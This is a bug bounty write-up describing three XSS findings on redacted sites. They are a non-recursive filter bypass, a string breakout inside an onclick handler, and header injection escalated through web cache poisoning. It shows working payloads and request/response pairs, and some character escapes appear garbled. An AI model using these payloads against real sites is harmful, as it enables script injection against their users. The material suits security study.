Common Cross-Site Scripting scenarios. 3 Bug Bounty cases
Cross-Site Scripting (XSS) is one of the most common vulnerabilities found across a web penetration testing. In this post, a few common XSS exploitation techniques discovered in Bug Bounty programms will be shown. Endpoints are Redacted to deny information leaks.
- A non-recursive sanitizer ๐ฅ
- Input vector inside on elements ๐ฅ
- Custom headers and Web Cache Poisoning ๐ฅ
A non-recursive sanitizer ๐ฅ
After some URL parameters enumeration, an interesting parameter csrfToken got reflected in the response without escaping <
characters.
- Request:
GET /us/en/search-results?keywords=aaa&csrfToken=bbb<
- Response:
...
</html><div id='csrfToken' style='display:none'>bbb<</div>
Then, common payloads: <svg onload='prompt(3)'/>
are tested to check how the backend is validating the input:
- Request:
GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg+onload%3d'prompt(3)'/>
- Response:
</html><div id='csrfToken' style='display:none'>bbb</div>
Some validation is applied, therefore how validation is performed needs to be tested:
- Request 1:
GET /us/en/search-results?keywords=aaa&csrfToken=bbbbbb<svg+on/>
- Response 1:
</html><div id='csrfToken' style='display:none'>bbb</div>
- Request 2:
GET /us/en/search-results?keywords=aaa&csrfToken=bbbbbb<svg+oa/>
- Response 2:
</html><div id='csrfToken' style='display:none'><svg oa/></div>
- Request 3:
GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg/onload/>
- Response 3:
</html><div id='csrfToken' style='display:none'>bbb<svg/onload/></div>
- Request 4:
GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg/onload=/>
- Response 4:
<div id='csrfToken' style='display:none'>bbb<svg//></div>
With these test cases, is confirmed that using /
instead of (white space)
after <svg
is more permisive. However, when the backend finds the word onload
with =
the response is sanitized. But, it seems that the resulting string is somehow splitted.
Is this filter recursive? What would happen if it is used the first split to create a new onload element?
- Request:
GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg/onloaonloadd=/>
- Response:
<div id='csrfToken' style='display:none'>bbb<svg/onloa/></div>
The first split eliminates the onload
and leaves onload
. Finishing the payload:
- Request:
GET /us/en/search-results?keywords=aaa&csrfToken=bbb<svg/onloaonloadd=d='prompt(3)'/>
- Response:
<div id='csrfToken' style='display:none'>bbb<svg/onload='prompt(3)'/></div>
Input vector inside on elements ๐ฅ
One of the common escenarios that allows a XSS execution is when the controlled input parameter is reflected inside an on element. After some enumeration in a Bug Bounty program, an endpoint where the content of the URL was reflected inside an on element is found.
- Request:
GET /StorecTEST/Cart?UpdateCart=Update&items%5b2919b907
- Response:
<input class="btn inputbutton" name="UpdateCart" onclick=" setFormAction('cartForm','/StorecTEST/Cart?inputAction=UpdateCart')" title="Update" type="submit" value="Update" />
'
character is perfectly valid inside JavaScript and is equivalent to '
character. How to take advantage of this? Check this JavaScript scenario:
var txt = 'Hello '+alert(2)/' world';
In JavaScript, if a string is evaluated and the string is escaped with a function between arithmetic operators, the function will be executed firstly to determine its result, and the appended to the string. Therefore, alert(2)
will be executed firstly. Trying to escape the values to force this scenario:
- Request:
GET /Storec'-TEST/Cart?UpdateCart=Update&items%5b2919b907
- Response:
<input class="btn inputbutton" name="UpdateCart" onclick=" setFormAction('cartForm','/Storec'-TEST/Cart?inputAction=UpdateCart')" title="Update" type="submit" value="Update" />
Finishing the payload:
GET /Storec'-prompt(2)-'/Cart?UpdateCart=Update&items%5b2919b907
<input class="btn inputbutton" name="UpdateCart" onclick=" setFormAction('cartForm','/Storec'-prompt(2)-'/Cart?inputAction=UpdateCart')" title="Update" type="submit" value="Update" />
Finally, when a user clicks the Update
button:
Custom headers and Web Cache Poisoning ๐ฅ
After some Headers bruteforcing, the content of X-Forwarded-Host was reflected in the source:
- Request:
GET /endpoint.html HTTP/1.1
Host: redacted
User-Agent:
Connection: close
X-Forwarded-Host: TEST
- Response:
<meta http-equiv="page-title" content="">
<link rel="canonical" href="http://TEST/content/endpoint.html"/>
Trying to escape and insert a valid XSS, give us the following payload. The character /
was blacklisted and throws an error:
- Request:
GET /endpoint.html HTTP/1.1
Host: redacted
User-Agent:
Connection: close
X-Forwarded-Host: "><svg onload=prompt(1)>
- Response:
<meta http-equiv="page-title" content="">
<link rel="canonical" href="http://"><svg onload=prompt(1)>/content/endpoint.html" />
However, this is a Self-XSS because it is not possible that a user could execute this payload without setting this custom header. However, there is some option, abusing Web Cache Poisoning.
This endpoint, stores in its cache the response. Therefore, if a response with the XSS payload could be stored, any user that visit this cached endpoint will be triggered with XSS.
- Request:
GET /enpoint.html?poisonedcache=1 HTTP/1.1
Host: redacted
User-Agent:
Connection: close
X-Forwarded-Host: TEST
Check poisonedcache=1 parameter. After that, if a user navigates to https://redacted.com/enpoint.html?poisonedcache=1: